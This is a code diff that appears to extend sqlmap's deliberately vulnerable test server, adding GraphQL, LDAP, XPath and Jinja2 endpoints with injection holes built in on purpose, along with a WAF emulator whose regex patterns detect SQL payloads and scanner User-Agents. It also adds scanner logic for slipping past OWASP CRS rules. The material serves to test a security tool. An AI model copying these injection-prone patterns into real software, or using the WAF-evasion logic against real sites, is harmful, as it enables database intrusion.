+</directory>"""
+
+def _xpath_element_to_dict(el):
+    """Convert an lxml element to a dict for JSON serialization."""
+    retVal = dict(el.attrib)
+    retVal["tag"] = el.tag
+    retVal["text"] = (el.text or "").strip()
+    children = []
+    for child in el:
+        children.append(_xpath_element_to_dict(child))
+    if children:
+        retVal["children"] = children
+    return retVal
+
 _conn = None
 _cursor = None
 _lock = None
@@ -157,6 +332,474 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
             if DEBUG:
                 traceback.print_exc()
 
+# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request
+# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE
+# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request
+# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/
+# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike',
+# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior.
+#
+# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring
+# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the
+# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign
+# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing
+# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper.
+WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+"       # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it
+WAF_RULES = (
+    (r"\bunion\b.{0,40}\bselect\b", 6),
+    (r"\binformation_schema\b", 5),
+    (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5),
+    (r"\b(select|insert|update|delete|drop)\b", 3),
+    (WAF_NUMERIC_COMPARISON, 4),
+    (r"<script", 6),
+)
+WAF_THRESHOLD = {1: 6, 2: 4, 3: 2, 4: 8, 5: 5}      # security_level -> cumulative score that triggers a block
+WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b"
+WAF_SCANNER_UA_WEIGHT = 3       # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score
+
+# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison
+# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all
+# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the
+# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough
+# the search must bail honestly (level 5). This mirrors the hardest real-world case.
+WAF_LIBINJECTION_LEVELS = (4, 5)
+WAF_LIBINJECTION_WEIGHT = 5
+WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)"
+
+def waf_score(value, ua=None, level=0):
+    value = (value or "").lower()
+    value = re.sub(r"/\*.*?\*/", " ", value)        # t:replaceComments (note: -> single space, not empty)
+    value = re.sub(r"(?:--|#)[^\n]*", " ", value)   # t:removeComments (line comments)
+    value = re.sub(r"\s+", " ", value)              # t:compressWhitespace
+    libinjection = level in WAF_LIBINJECTION_LEVELS
+    retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value))
+    if libinjection and re.search(WAF_LIBINJECTION, value):     # operator-agnostic comparison score (tampers cannot remove it)
+        retVal += WAF_LIBINJECTION_WEIGHT
+    if ua and re.search(WAF_SCANNER_UA, ua):        # scanner-fingerprint score, stacked with the payload score
+        retVal += WAF_SCANNER_UA_WEIGHT
+    return retVal
+
+# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------
+
+def _ldap_escape_like(value):
+    """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent,
+    and underscore are the only characters with special meaning in LIKE."""
+    if value is None:
+        return None
+    return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_')
+
+def _ldap_attr(attr):
+    """Map an LDAP attribute name to the directory table column, or None if unknown."""
+    valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"}
+    return attr if attr in valid else None
+
+def _ldap_match(text, start):
+    """Find the closing ')' that balances the opening '(' at `start`. Skip escaped
+    hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')'
+    as a structural closer."""
+    depth = 0
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if ch == '(':
+            depth += 1
+        elif ch == ')':
+            depth -= 1
+            if depth == 0:
+                return i + 1
+        elif ch == '\\':
+            i += 1
+        i += 1
+    return len(text)
+
+def _ldap_parse_value(text, start):
+    """Parse an assertion value from filter text at position `start`, handling escape sequences.
+    Returns (value, end_pos)."""
+    retVal = []
+    i = start
+    while i < len(text) and text[i] not in (')',):
+        if text[i] == '\\' and i + 2 < len(text):
+            retVal.append(chr(int(text[i+1:i+3], 16)))
+            i += 3
+        else:
+            retVal.append(text[i])
+            i += 1
+    return ''.join(retVal), i
+
+def _ldap_filter_to_sql(text, start=0):
+    """Convert an LDAP filter substring starting at `start` to a parameterized
+    SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos)
+    on parse failure. Values are passed as parameters so that user-controlled
+    characters (apostrophe, backslash, etc.) cannot break the SQL string literal."""
+
+    if start >= len(text) or text[start] != '(':
+        return None, [], start
+
+    i = start + 1
+    if i >= len(text):
+        return None, [], start
+
+    op = text[i]
+    i += 1
+
+    if op in ('&', '|'):
+        # Compound filter: collect all sub-filters
+        sub_clauses = []
+        sub_params = []
+        while i < len(text) and text[i] == '(':
+            clause, params, i = _ldap_filter_to_sql(text, i)
+            if clause:
+                sub_clauses.append(clause)
+                sub_params.extend(params)
+        # Always use bracket-matched end so nested compounds don't shift the
+        # parent's notion of where this child ends (reviewer blocker 3)
+        end = _ldap_match(text, start)
+        if not sub_clauses:
+            return None, [], end
+        if len(sub_clauses) == 1:
+            return sub_clauses[0], sub_params, end
+        joiner = " AND " if op == '&' else " OR "
+        return "(%s)" % joiner.join(sub_clauses), sub_params, end
+
+    elif op == '!':
+        # NOT filter
+        clause, params, i = _ldap_filter_to_sql(text, i)
+        end = _ldap_match(text, start)
+        if clause:
+            return "(NOT (%s))" % clause, params, end
+        return None, [], end
+
+    else:
+        # Simple filter: attr OP value
+        # Re-read from start+1 to get the full attr name
+        j = start + 1
+        while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'):
+            j += 1
+        attr = text[start+1:j].strip()
+        if not attr:
+            return None, [], _ldap_match(text, start)
+
+        col = _ldap_attr(attr)
+        if col is None:
+            return None, [], _ldap_match(text, start)
+
+        if j >= len(text):
+            return None, [], start
+
+        # Check for approx match (~=)
+        if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '~='
+            j += 2
+        elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '>='
+            j += 2
+        elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=':
+            op_type = '<='
+            j += 2
+        elif text[j] == '=':
+            op_type = '='
+            j += 1
+        else:
+            return None, [], _ldap_match(text, start)
+
+        value, _ = _ldap_parse_value(text, j)
+        end = _ldap_match(text, start)
+
+        if op_type == '=':
+            if value == '*':
+                return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
+            elif '*' in value:
+                parts = value.split('*')
+                if len(parts) == 2 and not parts[0] and not parts[1]:
+                    # Just '*' -> presence
+                    return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
+                elif len(parts) == 2 and parts[0] and not parts[1]:
+                    # 'prefix*' -> anchored prefix match (LDAP semantics)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end
+                elif len(parts) == 2 and not parts[0] and parts[1]:
+                    # '*suffix' -> anchored suffix match (LDAP semantics)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end
+                else:
+                    # '*mid*', 'pre*mid*suf', etc. -- split('*') already
+                    # partitions the value into literal segments; joining
+                    # them with '%' naturally produces the correct anchored
+                    # LIKE pattern: empty first/last elements from surrounding
+                    # wildcards become leading/trailing '%' automatically.
+                    pattern = '%'.join(_ldap_escape_like(p) for p in parts)
+                    return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end
+            else:
+                return "(%s = ?)" % col, [value], end
+        elif op_type == '>=':
+            return "(%s >= ?)" % col, [value], end
+        elif op_type == '<=':
+            return "(%s <= ?)" % col, [value], end
+        elif op_type == '~=':
+            return "(%s = ?)" % col, [value], end
+
+        return None, [], end
+
+
+def _ldap_execute(filter_str):
+    """Execute an LDAP filter against the directory table. Returns (rows, error_msg)."""
+    if not filter_str or not filter_str.strip():
+        return None, "Bad search filter"
+
+    # Simple bracket validation
+    if filter_str.count('(') != filter_str.count(')'):
+        return None, "Bad search filter (-7)"
+
+    try:
+        clause, params, _ = _ldap_filter_to_sql(filter_str)
+        if not clause:
+            return None, "Bad search filter (-7)"
+
+        sql = "SELECT * FROM directory WHERE %s" % clause
+        with _lock:
+            _cursor.execute(sql, params)
+            rows = _cursor.fetchall()
+        return rows, None
+    except Exception as ex:
+        msg = str(ex)
+        # Emulate different back-end error messages
+        if "no such column" in msg.lower():
+            return None, "Bad search filter"
+        if "unrecognized" in msg.lower() or "syntax" in msg.lower():
+            return None, "Bad search filter (-7)"
+        return None, "Bad search filter (%s)" % msg.split(':')[0]
+
+def _ldap_row_to_obj(row):
+    """Convert a SQLite row to a dict with non-None attributes."""
+    if not row:
+        return None
+    keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member")
+    return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None)
+
+# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ----------
+
+# Hard-coded introspection response matching the schema below. Every GraphQL tool (including
+# sqlmap's --graphql engine) uses this to discover fields, arguments, and types.
+def _graphql_introspection():
+    return {
+        "data": {
+            "__schema": {
+                "queryType": {"name": "Query"},
+                "mutationType": {"name": "Mutation"},
+                "subscriptionType": None,
+                "directives": [],
+                "types": [
+                    {"kind": "OBJECT", "name": "Query", "fields": [
+                        {"name": "user", "args": [
+                            {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                        {"name": "search", "args": [
+                            {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}}
+                        ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}},
+                        {"name": "login", "args": [
+                            {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}},
+                            {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "OBJECT", "name": "Mutation", "fields": [
+                        {"name": "updateUser", "args": [
+                            {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
+                            {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                        ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [
+                        {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
+                        {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
+                    ]},
+                    {"kind": "SCALAR", "name": "Int"},
+                    {"kind": "SCALAR", "name": "String"},
+                    {"kind": "SCALAR", "name": "Boolean"},
+                    {"kind": "SCALAR", "name": "Float"},
+                    {"kind": "SCALAR", "name": "ID"},
+                    {"kind": "OBJECT", "name": "User", "fields": [
+                        {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}},
+                        {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                        {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                    {"kind": "OBJECT", "name": "AuthPayload", "fields": [
+                        {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
+                        {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
+                    ], "inputFields": None, "enumValues": None},
+                ]
+            }
+        }
+    }
+
+
+def _graphql_arg(raw):
+    """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is"""
+    raw = raw.strip()
+    if raw.startswith('"') and raw.endswith('"'):
+        return raw[1:-1].replace('\\"', '"')
+    return raw
+
+
+def _graphql_match(text, start):
+    """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over
+    double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and
+    nested selection sets do not throw off the balance."""
+
+    pairs = {'(': ')', '{': '}'}
+    opener, closer = text[start], pairs[text[start]]
+    depth, i, n = 0, start, len(text)
+    while i < n:
+        char = text[i]
+        if char == '"':
+            i += 1
+            while i < n and text[i] != '"':
+                i += 2 if text[i] == '\\' else 1
+        elif char == opener:
+            depth += 1
+        elif char == closer:
+            depth -= 1
+            if depth == 0:
+                return i + 1
+        i += 1
+    return n
+
+
+def _graphql_selections(body):
+    """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing,
+    argument literals carrying brackets/quotes, and nested selection sets (which are skipped over)."""
+
+    identifier = re.compile(r'[A-Za-z_]\w*')
+    selections, i, n = [], 0, len(body)
+    while i < n:
+        while i < n and body[i] in ' \t\r\n,':
+            i += 1
+        match = identifier.match(body, i)
+        if not match:
+            i += 1
+            continue
+        name, i = match.group(0), match.end()
+
+        j = i
+        while j < n and body[j] in ' \t\r\n':
+            j += 1
+        if j < n and body[j] == ':':                # 'name' was an alias; the real field follows
+            j += 1
+            while j < n and body[j] in ' \t\r\n':
+                j += 1
+            match = identifier.match(body, j)
+            if not match:
+                continue
+            alias, field, i = name, match.group(0), match.end()
+        else:
+            alias, field = None, name
+
+        while i < n and body[i] in ' \t\r\n':
+            i += 1
+        rawArgs = ""
+        if i < n and body[i] == '(':
+            end = _graphql_match(body, i)
+            rawArgs, i = body[i + 1:end - 1], end
+
+        while i < n and body[i] in ' \t\r\n':
+            i += 1
+        if i < n and body[i] == '{':                # skip this field's (possibly nested) selection set
+            i = _graphql_match(body, i)
+
+        selections.append((alias, field, rawArgs))
+    return selections
+
+
+def _graphql_resolve(query, variables):
+    """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field,
+    and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request
+    (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip."""
+
+    variables = variables or {}
+    errors = []
+    data = {}
+
+    op = "query"
+    for keyword in ("mutation", "subscription"):
+        if query.strip().startswith(keyword):
+            op = keyword
+            break
+
+    start = query.find('{')
+    if start == -1:
+        errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}})
+        return None, errors
+
+    for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]):
+        key = alias or field
+
+        # Parse arguments
+        args = {}
+        for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs):
+            name, val = am.group(1), am.group(2)
+            if val.startswith('$'):
+                args[name] = variables.get(val[1:], None)
+            else:
+                args[name] = _graphql_arg(val)
+
+        try:
+            if field in ("__typename", "__schema"):
+                data[key] = op.title()
+            elif field == "user":
+                data[key] = _resolver_user(args.get("username"))
+            elif field == "search":
+                data[key] = _resolver_search(args.get("term"))
+            elif field == "login":
+                data[key] = _resolver_login(args.get("username"), args.get("password"))
+            elif field == "updateUser":
+                data[key] = _resolver_updateUser(args.get("id"), args.get("email"))
+            else:
+                errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()),
+                               "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}})
+        except Exception as ex:
+            # Leak the backend error through the GraphQL error envelope (as many real servers do
+            # in development mode) -- this drives error-based detection
+            errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex),
+                           "path": [key], "extensions": {"exception": str(ex)}})
+
+    if not data and not errors:
+        return None, errors
+    return data, errors
+
+
+# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------
+
+def _resolver_user(username):
+    if not username:
+        return None
+    with _lock:
+        _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username)
+        row = _cursor.fetchone()
+    return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
+
+
+def _resolver_search(term):
+    with _lock:
+        _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or ""))
+        rows = _cursor.fetchall()
+    return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])]
+
+
+def _resolver_login(username, password):
+    if not username or not password:
+        return None
+    with _lock:
+        _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password))
+        row = _cursor.fetchone()
+    if row:
+        return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}}
+    return None  # returns null in data (boolean oracle: true=object, false=null)
+
+
+def _resolver_updateUser(id_, email):
+    with _lock:
+        _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_))
+        _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_)
+        row = _cursor.fetchone()
+    return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
+
+
 class ReqHandler(BaseHTTPRequestHandler):
     def do_REQUEST(self):
         path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
@@ -198,6 +841,22 @@ class ReqHandler(BaseHTTPRequestHandler):
 
         self.url, self.params = path, params
 
+        # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off)
+        try:
+            level = int(self.params.get("security_level", 0) or 0)
+        except (TypeError, ValueError):
+            level = 0
+
+        if level > 0:
+            surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "")
+            if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2):
+                self.send_response(FORBIDDEN)
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+                self.send_header("Connection", "close")
+                self.end_headers()
+                self.wfile.write(b"<html><body>Request blocked: security policy violation (WAF)</body></html>")
+                return
+
         if self.url == "/csrf":
             if self.params.get("csrf_token") == _csrf_token:
                 self.url = "/"
@@ -220,6 +879,171 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.wfile.write(form.encode(UNICODE_ENCODING))
                 return
 
+        if self.url == "/nosql":
+            self.send_response(OK)
+            self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            try:
+                output = "<html><body><b>Welcome %s</b></body></html>" % self.params.get("name") if nosql_match(self.params) else "<html><body><b>Invalid credentials</b></body></html>"
+            except re.error:       # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting)
+                output = "<html><body>MongoServerError: Regular expression is invalid: missing terminating ] for character class</body></html>"
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/graphql":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            query = self.params.get("query", "")
+            variables = self.params.get("variables") or {}
+
+            if not isinstance(variables, dict):
+                try:
+                    variables = json.loads(str(variables))
+                except Exception:
+                    variables = {}
+
+            if "__schema" in query:
+                output = json.dumps(_graphql_introspection())
+            else:
+                data, errors = _graphql_resolve(query, variables)
+                resp = {}
+                if errors:
+                    resp["errors"] = errors
+                if data:
+                    resp["data"] = data
+                output = json.dumps(resp, default=str)
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url in ("/ldap", "/ldap/search"):
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            if q:
+                filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q)
+                rows, error = _ldap_execute(filter_str)
+                if error:
+                    output = json.dumps({"resultCode": 1, "errorMessage": error})
+                else:
+                    entries = [_ldap_row_to_obj(r) for r in (rows or [])]
+                    output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str)
+            else:
+                output = json.dumps({"resultCode": 0, "entries": [], "count": 0})
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/ldap/login":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            user = self.params.get("user", "")
+            password = self.params.get("pass", "")
+            if user and password:
+                filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password)
+                rows, error = _ldap_execute(filter_str)
+                if error:
+                    output = json.dumps({"resultCode": 49, "errorMessage": error})
+                elif rows:
+                    entry = _ldap_row_to_obj(rows[0])
+                    output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str)
+                else:
+                    output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"})
+            else:
+                output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"})
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/xpath/search":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            entries = []
+            error = None
+
+            if q:
+                try:
+                    from lxml import etree
+                    root = etree.fromstring(XPATH_XML.encode("utf-8"))
+                    # VULNERABLE: unsanitized user input directly interpolated into XPath
+                    xpath_expr = "/directory/department/user[contains(username,'%s') or contains(realname,'%s')]" % (q, q)
+                    elements = root.xpath(xpath_expr)
+                    entries = [_xpath_element_to_dict(el) for el in elements]
+                except Exception as ex:
+                    error = "%s: %s" % (type(ex).__name__, str(ex))
+
+            output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str)
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/xpath/login":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            username = self.params.get("username", "")
+            password = self.params.get("password", "")
+            error = None
+            authenticated = False
+
+            if username and password:
+                try:
+                    from lxml import etree
+                    root = etree.fromstring(XPATH_XML.encode("utf-8"))
+                    # VULNERABLE: unsanitized interpolation into XPath login expression
+                    xpath_expr = "/directory/department/user[username='%s' and password='%s']" % (username, password)
+                    results = root.xpath(xpath_expr)
+                    if results:
+                        authenticated = True
+                except Exception as ex:
+                    error = "%s: %s" % (type(ex).__name__, str(ex))
+
+            output = json.dumps({"authenticated": authenticated, "error": error}, default=str)
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/ssti/search":
+            self.send_response(OK)
+            self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            output = "<html><body>"
+
+            if q:
+                try:
+                    from jinja2 import Template
+                    # VULNERABLE: unsanitized user input passed to Jinja2 template engine
+                    template = Template("Hello " + q)
+                    output += template.render()
+                except Exception as ex:
+                    # Leak template engine error for error-based detection
+                    output += "<b>%s: %s</b>" % (type(ex).__name__, str(ex))
+            else:
+                output += "Hello"
+
+            output += "</body></html>"
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
         if self.url == '/':
             if not any(_ in self.params for _ in ("id", "query")):
                 self.send_response(OK)
@@ -229,6 +1053,7 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
             else:
                 code, output = OK, "<body><html>"
+                contentType = "text/html"
 
                 try:
                     if self.params.get("echo", ""):
@@ -247,38 +1072,48 @@ class ReqHandler(BaseHTTPRequestHandler):
                                 _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output += "<b>SQL results:</b><br>\n"
-
-                    if self.params.get("code", ""):
-                        if not results:
+                    if self.params.get("json", ""):
+                        # JSON response mode: serialize the SAME query results as application/json
+                        # (exercises the structure-aware comparison oracle end to end). HTML branches
+                        # below are untouched, so existing tests are unaffected.
+                        if self.params.get("code", "") and not results:
                             code = INTERNAL_SERVER_ERROR
+                        else:
+                            contentType = "application/json"
+                            output = json.dumps({"results": [list(row) for row in results], "count": len(results)})
                     else:
-                        if results:
-                            output += "<table border=\"1\">\n"
+                        output += "<b>SQL results:</b><br>\n"
 
-                            for row in results:
-                                output += "<tr>"
-                                for value in row:
-                                    output += "<td>%s</td>" % value
-                                output += "</tr>\n"
-
-                            output += "</table>\n"
+                        if self.params.get("code", ""):
+                            if not results:
+                                code = INTERNAL_SERVER_ERROR
                         else:
-                            output += "no results found"
+                            if results:
+                                output += "<table border=\"1\">\n"
 
-                        if not results:
-                            output = "<title>No results</title>" + output
-                        else:
-                            output = "<title>Results</title>" + output
+                                for row in results:
+                                    output += "<tr>"
+                                    for value in row:
+                                        output += "<td>%s</td>" % value
+                                    output += "</tr>\n"
 
-                    output += "</body></html>"
+                                output += "</table>\n"
+                            else:
+                                output += "no results found"
+
+                            if not results:
+                                output = "<title>No results</title>" + output
+                            else:
+                                output = "<title>Results</title>" + output
+
+                        output += "</body></html>"
                 except Exception as ex:
                     code = INTERNAL_SERVER_ERROR
                     output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
 
                 self.send_response(code)
 
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", contentType)
                 self.send_header("Connection", "close")
 
                 if self.raw_requestline.startswith(b"HEAD"):

lib/controller/action.py

@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
 from lib.controller.handler import setHandler
 from lib.core.common import Backend
 from lib.core.common import Format
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.enums import CONTENT_TYPE
+from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
@@ -30,8 +33,41 @@ def action():
 
     # First of all we have to identify the back-end database management
     # system to be able to go ahead with the injection
+    # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
+    # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
+    # and flood the run with 403s) and assume that DBMS, so the user gets a usable result
+    if kb.wafBypass and not conf.forceDbms:
+        fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
+        fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
+        if fallback:
+            logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
+            conf.forceDbms = fallback
+
     setHandler()
 
+    if kb.wafBypass and Backend.getDbms():      # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
+        hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
+
+    # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
+    # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
+    #   * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
+    #     otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
+    #   * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
+    #     ORD/MID function names scored by 942151/942190);
+    #   * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+    #     'mysql.innodb_table_stats', which is not on those blocklists.
+    # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
+    #  open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
+    if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
